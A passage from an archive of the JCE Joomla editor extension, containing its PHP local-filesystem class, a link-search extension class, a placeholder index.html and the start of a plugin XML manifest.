        'language',
        'layouts',
        'libraries',
        'logs',
        'media',
        'modules',
        'plugins',
        'templates',
        'tmp',
        'xmlrpc',
    );

    /**
     * Allow root access to the filesystem.
     *
     * @var boolean
     */
    protected $allowroot = false;

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        // normalize allow_root as boolean to "allowroot"
        if (isset($config['allow_root'])) {
            $this->allowroot = (bool) $config['allow_root'];
            
            // remove allow_root from config
            unset($config['allow_root']);
        }

        if (isset($config['restrict_dir'])) {
            $restricted = $config['restrict_dir'];

            // Normalize $restricted to array
            if (is_string($restricted)) {
                $restricted = array_map('trim', explode(',', $restricted));
            }

            // Clean empty values
            $restricted = array_filter($restricted);

            // update class property
            $this->restricted = $restricted;
        }

        // remove root folder restrictions
        if ($this->allowroot === false) {
            $this->restricted = [];
        }

        if (!isset($config['root'])) {
            $config['root'] = 'images';
        }

        if (!isset($config['list_limit'])) {
            $config['list_limit'] = 0; // "all
        }

        // this is a "local" filesystem
        $config['local'] = true;        

        parent::__construct($config);
    }

    /**
     * Get the base directory.
     *
     * @return string base dir
     */
    public function getBaseDir($path = '')
    {
        return JPATH_SITE;
    }

    /**
     * Get the full base url.
     *
     * @return string base url
     */
    public function getBaseURL($path = '')
    {
        return Uri::root(true);
    }

    /**
     * Return the full user directory path. Create if required.
     *
     * @param string    The base path
     *
     * @return Full path to folder
     */
    public function getRootDir()
    {        
        if ($this->get('allowroot')) {
            return ''; // return a blank value for allowroot
        }

        return $this->get('root', 'images');
    }

    public function toAbsolute($path)
    {
        if (empty($path)) {
            $path = $this->getRootDir();
        }
        
        return WFUtility::makePath($this->getBaseDir(), $path);
    }

    public function toRelative($path, $isabsolute = true)
    {
        // path is absolute
        $base = $this->getBaseDir();

        // path is relative to Joomla! root, eg: images/folder
        if ($isabsolute === false) {
            $base = '';
        }

        if (function_exists('mb_substr')) {
            $path = mb_substr($path, mb_strlen($base));
        } else {
            $path = substr($path, strlen($base));
        }

        $path = WFUtility::cleanPath($path);

        return ltrim($path, '/');
    }

    /**
     * Determine whether FTP mode is enabled.
     *
     * @return bool
     */
    public function isFtp()
    {
        // Initialize variables
        $FTPOptions = ClientHelper::getCredentials('ftp');

        return $FTPOptions['enabled'] == 1;
    }

    public function getTotalSize($path, $recurse = true)
    {
        $total = 0;

        if (strpos($path, $this->getBaseDir()) === false) {
            $path = $this->toAbsolute($path);
        }

        if (is_dir($path)) {
            $files = Folder::files($path, '.', $recurse, true, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html', 'thumbs.db'));

            foreach ($files as $file) {
                $total += filesize($file);
            }
        }

        return $total;
    }

    /**
     * Count the number of files in a folder.
     *
     * @return int File total
     *
     * @param string $path Absolute path to folder
     */
    public function countFiles($path, $recurse = false)
    {
        if (strpos($path, $this->getBaseDir()) === false) {
            $path = $this->toAbsolute($path);
        }

        if (is_dir($path)) {
            $files = Folder::files($path, '.', $recurse, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html', 'thumbs.db'));

            return count($files);
        }

        return 0;
    }

    /**
     * Count the number of folders in a folder.
     *
     * @return int Folder total
     *
     * @param string $path Absolute path to folder
     */
    public function countFolders($path)
    {
        if (strpos($path, $this->getBaseDir()) === false) {
            $path = $this->toAbsolute($path);
        }

        if (is_dir($path)) {
            $folders = Folder::folders($path, '.', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX'));

            return count($folders);
        }

        return 0;
    }

    public function getFolders($relative, $filter = '', $sort = '', $limit = 25, $start = 0, $depth = 0)
    {
        // trim to remove leading and trailing slashes
        $relative = trim($relative, '/');

        // resolve to absolute path, defaulting to root directory if empty
        $path = $this->toAbsolute($relative);
        $path = WFUtility::fixPath($path);

        // if the path does not exist, set to root directory
        if (!is_dir($path)) {
            $relative = '';
            $path = $this->toAbsolute($relative);
        }

        $list = Folder::folders($path, $filter, $depth, true);

        $folders = array();

        $restrictedPaths = array_map(function ($val) use ($relative) {
            $absolute = $this->toAbsolute($val);
            $absolute = WFUtility::makePath($absolute, $relative);

            // trim trailing slashes
            $absolute = rtrim($absolute, '/');

            return $absolute;
        }, $this->restricted);

        if (!empty($list)) {
            // Sort alphabetically by default
            natcasesort($list);

            foreach ($list as $item) {
                $item = rawurldecode($item);

                // clean path to remove multiple slashes
                $item = WFUtility::cleanPath($item);

                $name = WFUtility::mb_basename($item);
                $name = WFUtility::convertEncoding($name);

                if (in_array($item, $restrictedPaths, true)) {
                    continue;
                }

                $id = WFUtility::makePath($relative, $name, '/');

                if ($depth) {
                    $id = $this->toRelative($item);
                    $id = WFUtility::convertEncoding($id);
                    $name = $id;
                }

                // trim leading slash
                $id = ltrim($id, '/');

                $data = array(
                    'id' => $id,
                    'name' => $name,
                    'writable' => is_writable($item) || $this->isFtp(),
                    'type' => 'folders',
                    'properties' => $this->getFolderDetails($id),
                );

                $folders[] = $data;
            }
        }

        if ($sort && strpos($sort, 'extension') === false) {
            $folders = self::sortItemsByKey($folders, $sort);
        }

        return $folders;
    }

    public function getFiles($relative, $filter = '', $sort = '', $limit = 25, $start = 0, $depth = 0)
    {
        // trim to remove leading and trailing slashes
        $relative = trim($relative, '/');

        // resolve to absolute path, defaulting to root directory if empty
        $path = $this->toAbsolute($relative);
        $path = WFUtility::fixPath($path);

        // if the path does not exist, set to root directory
        if (!is_dir($path)) {
            $relative = '';
            $path = $this->toAbsolute($relative);
        }

        // excluded files
        $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html');

        $list = Folder::files($path, $filter, $depth, true, $exclude);

        $files = array();

        // get the total files in the list
        $count = count($list);

        if (!empty($list)) {
            // Sort alphabetically by default
            natcasesort($list);

            foreach ($list as $item) {
                $item = rawurldecode($item);

                $name = WFUtility::mb_basename($item);
                $name = WFUtility::convertEncoding($name);

                if ($depth) {
                    $relative = $this->toRelative($item);
                    $relative = WFUtility::mb_dirname($relative);
                }

                // create relative file
                $id = WFUtility::makePath($relative, $name, '/');

                // check for file validity - prevent display of files with invalid encoding that have been "cleaned"
                if (!is_file(WFUtility::makePath($this->getBaseDir(), $id, '/'))) {
                    continue;
                }

                // reset name for recursive search
                if ($depth) {
                    $name = trim($id, '/');
                }

                // create url from absolute path
                $url = $this->toRelative($item);

                // remove leading slash
                $url = trim($url, '/');

                $data = array(
                    'id' => $id,
                    'url' => $url,
                    'name' => $name,
                    'writable' => is_writable($item) || $this->isFtp(),
                    'type' => 'files',
                    'extension' => WFUtility::getExtension($name),
                    'properties' => $this->getFileDetails($id, $count),
                );

                $files[] = $data;
            }
        }

        if ($sort) {
            $files = self::sortItemsByKey($files, $sort);
        }

        return $files;
    }

    public function searchItems($relative, $query = '', $filetypes = array(), $sort = '', $depth = 3)
    {
        $result = array(
            'folders' => array(),
            'files' => array(),
        );

        if ($query) {
            // get folder list
            $result['folders'] = $this->getFolders($relative, $query, 0, 0, $sort, $depth);
        }
        
        $filter = $query;

        // create filter for filetypes
        if (!empty($filetypes)) {
            $filter .= '\.(?i)(' . implode('|', $filetypes) . ')$';
        }

        // get file list
        $result['files'] = $this->getFiles($relative, $filter, 0, 0, $sort, $depth);

        return $result;
    }

    /**
     * Get a folders properties.
     *
     * @return array Array of properties
     *
     * @param string $dir   Folder relative path
     * @param string $types File Types
     */
    public function getFolderDetails($dir)
    {
        clearstatcache();

        if (is_array($dir)) {
            $dir = isset($dir['path']) ? $dir['path'] : '';
        }

        if (empty($dir)) {
            return array();
        }

        $path = $this->toAbsolute(rawurldecode($dir));
        $date = @filemtime($path);

        return array('modified' => $date, 'size' => '');
    }

    /**
     * Get the source directory of a file path.
     */
    public function getSourceDir($path)
    {
        // return nothing if absolute $path
        if (preg_match('#^(file|http(s)?):\/\/#', $path)) {
            return '';
        }

        // directory path relative base directory
        if ($this->is_dir($path)) {
            return $path;
        }

        // file url relative to site root
        if ($this->is_file($path)) {
            return dirname($path);
        }

        return '';
    }

    public function isMatch($needle, $haystack)
    {
        return $needle == $haystack;
    }

    /**
     * Return constituent parts of a file path eg: base directory, file name.
     *
     * @param $path Relative or absolute path
     */
    public function pathinfo($path)
    {
        return pathinfo($path);
    }

    /**
     * Get a files properties.
     *
     * @return array Array of properties
     *
     * @param string $file File relative path
     */
    public function getFileDetails($file, $count = 1)
    {
        clearstatcache();

        if (is_array($file)) {
            $file = isset($file['path']) ? $file['path'] : '';
        }

        if (empty($file)) {
            return array();
        }

        $path = $this->toAbsolute(rawurldecode($file));
        $url = WFUtility::makePath($this->getBaseUrl(), rawurldecode($file));

        $date = @filemtime($path);
        $size = @filesize($path);

        $data = array(
            'size' => $size,
            'modified' => $date,
        );

        $data['preview'] = WFUtility::cleanPath($url, '/');

        if (preg_match('#\.(jpg|jpeg|bmp|gif|tiff|png|apng|webp|svg)#i', $file)) {
            $image = array();

            if ($count <= 100) {
                if (preg_match('#\.svg$#i', $file)) {
                    $svg = @simplexml_load_file($path);

                    if ($svg && isset($svg['viewBox'])) {
                        list($start_x, $start_y, $end_x, $end_y) = explode(' ', $svg['viewBox']);

                        $width = (int) $end_x;
                        $height = (int) $end_y;

                        if ($width && $height) {
                            $image['width'] = $width;
                            $image['height'] = $height;
                        }
                    }
                } else {
                    list($image['width'], $image['height']) = @getimagesize($path);
                }
            }

            $data['preview'] .= '?' . $date;

            return array_merge_recursive($data, $image);
        }

        return $data;
    }

    private function checkRestrictedDirectory($path)
    {
        if ($this->allowroot) {
            foreach ($this->restricted as $name) {
                $restricted = $this->toAbsolute($name);

                $match = false;

                if (function_exists('mb_substr')) {
                    $match = (mb_substr($path, 0, mb_strlen($restricted)) === $restricted);
                } else {
                    $match = (substr($path, 0, strlen($restricted)) === $restricted);
                }

                if ($match === true) {
                    throw new Exception('Access to the target directory is restricted');
                }
            }
        }

        return true;
    }

    /**
     * Delete the relative file(s).
     *
     * @param $files the relative path to the file name or comma seperated list of multiple paths
     *
     * @return string $error on failure
     */
    public function delete($src)
    {
        $path = $this->toAbsolute($src);

        // get error class
        $result = new WFFileSystemResult();

        // check path does not fall within a restricted folder
        $this->checkRestrictedDirectory($path);

        Factory::getApplication()->triggerEvent('onWfFileSystemBeforeDelete', array(&$path));

        if (is_file($path)) {
            $result->type = 'files';
            $result->state = File::delete($path);
        } elseif (is_dir($path)) {
            $result->type = 'folders';

            if ($this->countFiles($path) > 0 || $this->countFolders($path) > 0) {
                $result->message = Text::sprintf('WF_MANAGER_FOLDER_NOT_EMPTY', WFUtility::mb_basename($path));
            } else {
                $result->state = Folder::delete($path);
            }
        }

        Factory::getApplication()->triggerEvent('onWfFileSystemAfterDelete', array($path, $result->state));

        return $result;
    }

    /**
     * Rename a file.
     *
     * @param string $src  The relative path of the source file
     * @param string $dest The name of the new file
     *
     * @return string $error
     */
    public function rename($src, $dest)
    {
        $src = $this->toAbsolute(rawurldecode($src));
        $dir = WFUtility::mb_dirname($src);

        Factory::getApplication()->triggerEvent('onWfFileSystemBeforeRename', array(&$src, &$dest));

        $result = new WFFileSystemResult();

        if (is_file($src)) {
            $ext = WFUtility::getExtension($src);
            $file = $dest . '.' . $ext;
            $path = WFUtility::makePath($dir, $file);

            // check path does not fall within a restricted folder
            $this->checkRestrictedDirectory($path);

            $result->type = 'files';
            $result->state = File::move($src, $path);
            $result->path = $path;
            // include original source path
            $result->source = $src;
        } elseif (is_dir($src)) {
            $path = WFUtility::makePath($dir, $dest);

            $result->type = 'folders';
            $result->state = Folder::move($src, $path);
            $result->path = $path;
            // include original source path
            $result->source = $src;
        }

        Factory::getApplication()->triggerEvent('onWfFileSystemAfterRename', array(&$result));

        return $result;
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function copy($file, $destination, $conflict = 'replace')
    {
        $result = new WFFileSystemResult();

        // trim to remove leading slash
        $file = trim($file, '/');

        $src = $this->toAbsolute($file);
        // destination relative path
        $dest = WFUtility::makePath($destination, WFUtility::mb_basename($file));
        // destination full path
        $dest = $this->toAbsolute($dest);

        // check destination path does not fall within a restricted folder
        $this->checkRestrictedDirectory($dest);

        Factory::getApplication()->triggerEvent('onWfFileSystemBeforeCopy', array(&$src, &$dest));

        // src is a file
        if (is_file($src)) {
            // resolve filename conflict by creating a copy if required
            if ($conflict == 'copy') {
                $name = WFUtility::mb_basename($file);
                $dest = $this->resolveFilenameConflict($dest, $name, true);
            }

            $result->type = 'files';
            $result->state = File::copy($src, $dest);
            $result->path = $dest;
            // include original source path
            $result->source = $src;
        } elseif (is_dir($src)) {
            // Folders cannot be copied into themselves as this creates an infinite copy / paste loop
            if ($file === $destination) {
                $result->message = Text::_('WF_MANAGER_COPY_INTO_ERROR');
                return $result;
            }

            $result->type = 'folders';
            $result->state = Folder::copy($src, $dest);
            $result->path = $dest;
            // include original source path
            $result->source = $src;
        }

        Factory::getApplication()->triggerEvent('onWfFileSystemAfterCopy', array(&$result));

        return $result;
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function move($file, $destination)
    {
        $result = new WFFileSystemResult();

        // trim to remove leading slash
        $file = trim($file, '/');

        $src = $this->toAbsolute($file);
        // destination relative path
        $dest = WFUtility::makePath($destination, WFUtility::mb_basename($file));
        // destination full path
        $dest = $this->toAbsolute($dest);

        // check destination path does not fall within a restricted folder
        $this->checkRestrictedDirectory($dest);

        Factory::getApplication()->triggerEvent('onWfFileSystemBeforeMove', array(&$src, &$dest));

        if ($src != $dest) {
            // src is a file
            if (is_file($src)) {
                $result->type = 'files';
                $result->state = File::move($src, $dest);
                $result->path = $dest;
                // include original source path
                $result->source = $src;
            } elseif (is_dir($src)) {
                // Folders cannot be copied into themselves as this creates an infinite copy / paste loop
                if ($file === $destination) {
                    $result->message = Text::_('WF_MANAGER_COPY_INTO_ERROR');
                    return $result;
                }

                $result->type = 'folders';
                $result->state = Folder::move($src, $dest);
                $result->path = $dest;
                // include original source path
                $result->source = $src;
            }
        }

        Factory::getApplication()->triggerEvent('onWfFileSystemAfterMove', array(&$result));

        return $result;
    }

    /**
     * New folder base function. A wrapper for the Folder::create function.
     *
     * @param string $folder The folder to create
     *
     * @return bool true on success
     */
    public function folderCreate($folder)
    {
        if (is_dir($folder)) {
            return false;
        }

        if (@Folder::create($folder)) {
            $buffer = '<html><body bgcolor="#FFFFFF"></body></html>';
            File::write($folder . '/index.html', $buffer);
        } else {
            return false;
        }

        return true;
    }

    /**
     * New folder.
     *
     * @param string $dir     The base dir
     * @param string $new_dir The folder to be created
     *
     * @return string $error on failure
     */
    public function createFolder($dir, $new)
    {
        // relative new folder path
        $dir = WFUtility::makePath(rawurldecode($dir), $new);
        // full folder path
        $path = $this->toAbsolute($dir);

        // check path does not fall within a restricted folder
        $this->checkRestrictedDirectory($path);

        $result = new WFFileSystemResult();

        $result->state = $this->folderCreate($path);
        $result->path = $path;
        $result->type = 'folders';

        Factory::getApplication()->triggerEvent('onWfFileSystemCreateFolder', array($path, $result->state));

        return $result;
    }

    public function getDimensions($file)
    {
        $path = $this->toAbsolute(utf8_decode(rawurldecode($file)));

        $data = array(
            'width' => '',
            'height' => '',
        );

        if (file_exists($path)) {
            $dim = @getimagesize($path);
            $data = array(
                'width' => $dim[0],
                'height' => $dim[1],
            );
        }

        return $data;
    }

    protected function resolveFilenameConflict($destination, $name, $createCopy = false)
    {
        // get overwrite state
        $conflict = $this->get('upload_conflict', 'overwrite');

        // get suffix
        $suffix = $this->get('upload_suffix', '_copy');

        $path = WFUtility::mb_dirname($destination);

        if ($conflict == 'unique' || $createCopy) {
            // get extension
            $extension = WFUtility::getExtension($name);
            // get name without extension
            $name = WFUtility::stripExtension($name);
            // create tmp copy
            $tmpname = $name;

            $x = 1;

            while (is_file($destination)) {
                if (strpos($suffix, '$') !== false) {
                    $tmpname = $name . str_replace('$', $x, $suffix);
                } else {
                    $tmpname .= $suffix;
                }

                $destination = WFUtility::makePath($path, $tmpname . '.' . $extension);

                ++$x;
            }
        }

        return $destination;
    }

    public function upload($method, $src, $dir, $name, $chunks = 1, $chunk = 0)
    {
        $app = Factory::getApplication();

        // full destination directory path
        $path = $this->toAbsolute(rawurldecode($dir));
        // full file path
        $dest = WFUtility::makePath($path, $name);

        // check destination path does not fall within a restricted folder
        $this->checkRestrictedDirectory($dest);

        // check for safe mode
        $safe_mode = false;

        if (function_exists('ini_get')) {
            $safe_mode = ini_get('safe_mode');
        } else {
            $safe_mode = true;
        }

        $result = new WFFileSystemResult();

        // resolve filename conflict by creating a copy if required
        $dest = $this->resolveFilenameConflict($dest, $name);

        $app->triggerEvent('onWfFileSystemBeforeUpload', array(&$src, &$dest));

        // create object to pass to joomla event
        $object_file = new StdClass;
        $object_file->name = WFUtility::mb_basename($dest);
        $object_file->tmp_name = $src;
        $object_file->filepath = $dest;

        // vars for Joomla events
        $vars = array('com_jce.file', &$object_file, true, array());

        // trigger Joomla event before upload
        $app->triggerEvent('onContentBeforeSave', $vars);

        if (File::upload($src, $dest, false, true)) {
            $result->state = true;
            $result->path = $dest;
        }

        $app->triggerEvent('onWfFileSystemAfterUpload', array(&$result));

        // update $object_file
        $object_file->name = WFUtility::mb_basename($result->path);
        $object_file->filepath = $result->path;

        // trigger Joomla event after upload
        $app->triggerEvent('onContentAfterSave', $vars);

        return $result;
    }

    public function exists($path)
    {
        return $this->is_dir($path) || $this->is_file($path);
    }

    public function read($file)
    {
        $file = rawurldecode($file);

        $path = $this->toAbsolute($file);

        return file_get_contents($path);
    }

    public function write($file, $content)
    {
        $file = rawurldecode($file);

        $path = $this->toAbsolute($file);

        // check path does not fall within a restricted folder
        $this->checkRestrictedDirectory($path);

        Factory::getApplication()->triggerEvent('onWfFileSystemBeforeWrite', array(&$path, &$content));

        $result = File::write($path, $content);

        Factory::getApplication()->triggerEvent('onWfFileSystemAfterWrite', array($path, $result));

        return $result;
    }

    public function is_file($path)
    {
        $path = $this->toAbsolute($path);
        return is_file($path);
    }

    public function is_dir($path)
    {
        $path = $this->toAbsolute($path);
        return is_dir($path);
    }
}
com_jce/editor/extensions/search/link.php000060400000033423152453734450014560 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\String\StringHelper;

class WFLinkSearchExtension extends WFSearchExtension
{
    private $enabled = array();

    protected function loadDefaultAdapter($plugin)
    {
        $app = Factory::getApplication();

        // create component name from plugin - special case for "contacts"
        $component = ($plugin == 'contacts') ? 'com_contact' : 'com_' . $plugin;

        // check for associated component
        if (!ComponentHelper::isEnabled($component)) {
            return;
        }

        $adapter = __DIR__ . '/adapter/' . $plugin . '/' . $plugin . '.php';

        if (!is_file($adapter)) {
            return;
        }

        require_once $adapter;

        // create classname, eg: PlgSearchContent
        $className = 'PlgWfSearch' . ucfirst($plugin);

        if (!class_exists($className)) {
            return;
        }

        // simple plugin config
        $config = array(
            'name' => $plugin,
            'type' => 'search',
            'params' => array(
                'search_limit' => 10,
            ),
        );

        // Joomla 4+
        if (method_exists($app, 'getDispatcher')) {
            $dispatcher = $app->getDispatcher();
            $instance = new $className($dispatcher, (array) $config);
            $instance->registerListeners();
        } else {
            $dispatcher = JEventDispatcher::getInstance();
            $instance = new $className($dispatcher, (array) $config);
        }

        $this->enabled[] = $plugin;
    }

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $request = WFRequest::getInstance();

        $request->setRequest(array($this, 'doSearch'));
        $request->setRequest(array($this, 'getAreas'));

        $wf = WFEditorPlugin::getInstance();

        // get plugins
        $plugins = $wf->getParam('search.link.plugins', array());

        // set defaults if empty
        if (empty($plugins)) {
            $plugins = array('categories', 'contacts', 'content', 'tags');
        }

        // list core adapters
        $adapters = array('categories', 'contacts', 'content', 'tags', 'weblinks');

        // check and load external search plugins
        foreach ($plugins as $plugin) {
            // process core search plugins
            if (in_array($plugin, $adapters)) {
                $this->loadDefaultAdapter($plugin);
                continue;
            }

            // plugin must be enabled
            if (!PluginHelper::isEnabled('search', $plugin)) {
                continue;
            }

            // check plugin imports correctly - plugin may have a db entry, but is missing files
            if (PluginHelper::importPlugin('search', $plugin)) {
                $this->enabled[] = $plugin;
            }
        }

        PluginHelper::importPlugin('jce');
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $document->addScript(array('link'), 'extensions.search.js');
        $document->addStylesheet(array('link'), 'extensions.search.css');
    }

    public function isEnabled()
    {
        $wf = WFEditorPlugin::getInstance();
        return (bool) $wf->getParam('search.link.enable', 1) && !empty($this->enabled);
    }

    /**
     * Method to get the search areas.
     */
    public function getAreas()
    {
        $app = Factory::getApplication('site');

        $areas = array();
        $results = array();

        $searchareas = $app->triggerEvent('onContentSearchAreas');

        foreach ($searchareas as $area) {
            if (is_array($area)) {
                $areas = array_merge($areas, $area);
            }
        }

        foreach ($areas as $k => $v) {
            $results[$k] = Text::_($v);
        }

        return $results;
    }

    /*
     * Truncate search text
     * This method uses portions of components/com_finder/views/search/tmpl/default_result.php
     * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
     */
    private function truncateText($text, $searchword)
    {
        // Calculate number of characters to display around the result
        $term_length = StringHelper::strlen($searchword);

        $lang = Factory::getLanguage();
        $desc_length = $lang->getSearchDisplayedCharactersNumber();

        $pad_length = $term_length < $desc_length ? (int) floor(($desc_length - $term_length) / 2) : 0;

        // Find the position of the search term
        $pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($text), StringHelper::strtolower($searchword)) : false;

        // Find a potential start point
        $start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;

        // Find a space between $start and $pos, start right after it.
        $space = StringHelper::strpos($text, ' ', $start > 0 ? $start - 1 : 0);
        $start = ($space && $space < $pos) ? $space + 1 : $start;

        $text = HTMLHelper::_('string.truncate', StringHelper::substr($text, $start), $desc_length, false);

        return $text;
    }

    /*
     * Prepare search content by clean and truncating
     * This method uses portions of SearchHelper::prepareSearchContent from administrator/components/com_search/helpers/search.php
     * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
     */
    public function prepareSearchContent($text, $searchword)
    {
        // Replace line breaking tags with whitespace.
        $text = preg_replace("'<(br[^/>]*?/|hr[^/>]*?/|/(div|h[1-6]|li|p|td))>'si", ' ', $text);

        // clean text
        $text = htmlspecialchars(strip_tags($text));

        // remove shortcode
        $text = preg_replace('#{.+?}#', '', $text);

        // truncate text based around searchword
        $text = $this->truncateText($text, $searchword);

        // highlight searchword
        $text = preg_replace('#\b(' . preg_quote($searchword, '#') . ')\b#i', '<mark>$1</mark>', $text);

        return $text;
    }

    /*
     * Render Search fields
     * This method uses portions of SearchViewSearch::display from components/com_search/views/search/view.html.php
     * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
     */

    public function render()
    {
        if (!$this->isEnabled()) {
            return '';
        }

        // built select lists
        $orders = array();
        $orders[] = HTMLHelper::_('select.option', 'newest', Text::_('WF_SEARCH_NEWEST_FIRST'));
        $orders[] = HTMLHelper::_('select.option', 'oldest', Text::_('WF_SEARCH_OLDEST_FIRST'));
        $orders[] = HTMLHelper::_('select.option', 'popular', Text::_('WF_SEARCH_MOST_POPULAR'));
        $orders[] = HTMLHelper::_('select.option', 'alpha', Text::_('WF_SEARCH_ALPHABETICAL'));
        $orders[] = HTMLHelper::_('select.option', 'category', Text::_('WF_CATEGORY'));

        $lists = array();
        $lists['ordering'] = HTMLHelper::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text');

        $searchphrases = array();
        $searchphrases[] = HTMLHelper::_('select.option', 'all', Text::_('WF_SEARCH_ALL_WORDS'));
        $searchphrases[] = HTMLHelper::_('select.option', 'any', Text::_('WF_SEARCH_ANY_WORDS'));
        $searchphrases[] = HTMLHelper::_('select.option', 'exact', Text::_('WF_SEARCH_EXACT_PHRASE'));
        $lists['searchphrase'] = HTMLHelper::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', 'all');

        $view = $this->getView(array('name' => 'search', 'layout' => 'search'));

        $view->searchareas = self::getAreas();
        $view->lists = $lists;

        $view->display();
    }

    private static function getSearchAreaFromUrl($url)
    {
        $query = parse_url($url, PHP_URL_QUERY);

        if (empty($query)) {
            return "";
        }

        parse_str($query, $values);

        if (!array_key_exists('option', $values)) {
            return "";
        }

        $language = Factory::getLanguage();

        $option = $values['option'];

        // load system language file
        $language->load($option . '.sys', JPATH_ADMINISTRATOR);
        $language->load($option, JPATH_ADMINISTRATOR);

        return Text::_($option);
    }

    /**
     * Process search.
     *
     * @param type $query Search query
     * @return array Search Results
     *
     * This method uses portions of SearchController::search from components/com_search/controller.php
     *
     * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved
     */
    public function doSearch($query)
    {
        $wf = WFEditorPlugin::getInstance();

        $results = array();

        if (empty($query)) {
            return $results;
        }

        // search area
        $area = null;

        // available search areas
        $areas = $this->getAreas();

        // query using a specific plugin
        if (strpos($query, ':') !== false) {
            preg_match('#^(' . implode('|', $areas) . ')\:(.+)#', $query, $matches);

            if ($matches) {
                $area = array($matches[1]);
                $query = $matches[2];
            }
        }

        $app = Factory::getApplication('site');
        $filter = InputFilter::getInstance();

        $limit = (int) $wf->getParam('search.link.limit', 50);

        // slashes cause errors, <> get stripped anyway later on. # causes problems.
        $searchword = trim(str_replace(array('#', '>', '<', '\\'), '', $filter->clean($query)));

        $ordering = null;
        $searchphrase = 'all';

        // if searchword enclosed in double quotes, strip quotes and do exact match
        if (substr($searchword, 0, 1) == '"' && substr($searchword, -1) == '"') {
            $searchword = substr($searchword, 1, -1);
            $searchphrase = 'exact';
        }

        $searchphrase = $app->input->post->getWord('searchphrase', $searchphrase);

        // get passed through ordering
        $ordering = $app->input->post->getWord('ordering', $ordering);

        // get passed through area
        $area = $app->input->post->getCmd('areas', (array) $area);

        if (empty($area)) {
            $area = null;
        }

        // trigger search on loaded plugins
        $searches = $app->triggerEvent('onContentSearch', array(
            $searchword,
            $searchphrase,
            $ordering,
            $area,
        ));

        $rows = array();

        foreach ($searches as $search) {
            $rows = array_merge((array) $rows, (array) $search);
        }

        // get first 10
        $rows = array_slice($rows, 0, $limit);

        $areas = array();

        for ($i = 0, $count = count($rows); $i < $count; ++$i) {
            $row = &$rows[$i];

            if (empty($row->href) || empty($row->title)) {
                continue;
            }

            $area = isset($row->section) ? $row->section : self::getSearchAreaFromUrl($row->href);

            if (!isset($areas[$area])) {
                $areas[$area] = array();
            }

            $result = new StdClass;

            if ($searchphrase == 'exact') {
                $searchwords = array($searchword);
                $needle = $searchword;
            } else {
                $searchworda = preg_replace('#\xE3\x80\x80#s', ' ', $searchword);
                $searchwords = preg_split("/\s+/u", $searchworda);
                $needle = $searchwords[0];
            }

            // get anchors if any...
            $row->anchors = self::getAnchors($row->text);

            // prepare and truncate search text
            $row->text = $this->prepareSearchContent($row->text, $needle);

            // remove base url
            if (Uri::base(true) && strpos($row->href, Uri::base(true)) !== false) {
                $row->href = substr_replace($row->href, '', 0, strlen(Uri::base(true)) + 1);
            }

            // remove the alias or ItemId from a link
            $row->href = self::route($row->href);

            $result->title = $row->title;
            $result->text = $row->text;
            $result->link = $row->href;

            if (!empty($row->anchors)) {
                $result->anchors = $row->anchors;
            }

            $areas[$area][] = $result;
        }

        if (!empty($areas)) {
            $results[] = $areas;
        }

        return $results;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        // remove link alias
        if ((bool) $wf->getParam('search.link.remove_alias', 0)) {
            $url = WFLinkHelper::removeAlias($url);
        }

        // remove Itemid if "home"
        $url = WFLinkHelper::removeHomeItemId($url);

        // remove Itemid if set
        if ((bool) $wf->getParam('search.link.itemid', 1) === false) {
            $url = WFLinkHelper::removeItemId($url);
        }

        return $url;
    }

    private static function getAnchors($content)
    {
        preg_match_all('#<a([^>]+)(name|id)="([a-z]+[\w\-\:\.]*)"([^>]*)>#i', $content, $matches, PREG_SET_ORDER);

        $anchors = array();

        if (!empty($matches)) {
            foreach ($matches as $match) {
                if (strpos($match[0], 'href') === false) {
                    $anchors[] = $match[3];
                }
            }
        }

        return $anchors;
    }
}
com_jce/editor/extensions/search/index.html000060400000000054152453734450015101 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/link.xml000060400000003535152453734450014572 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_LINK_SEARCH_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LINK_SEARCH_DESC</description>
    <files>
        <filename>link.php</filename>
        <folder>link</folder>
    </files>
    <fields name="link">
        <fieldset name="link">
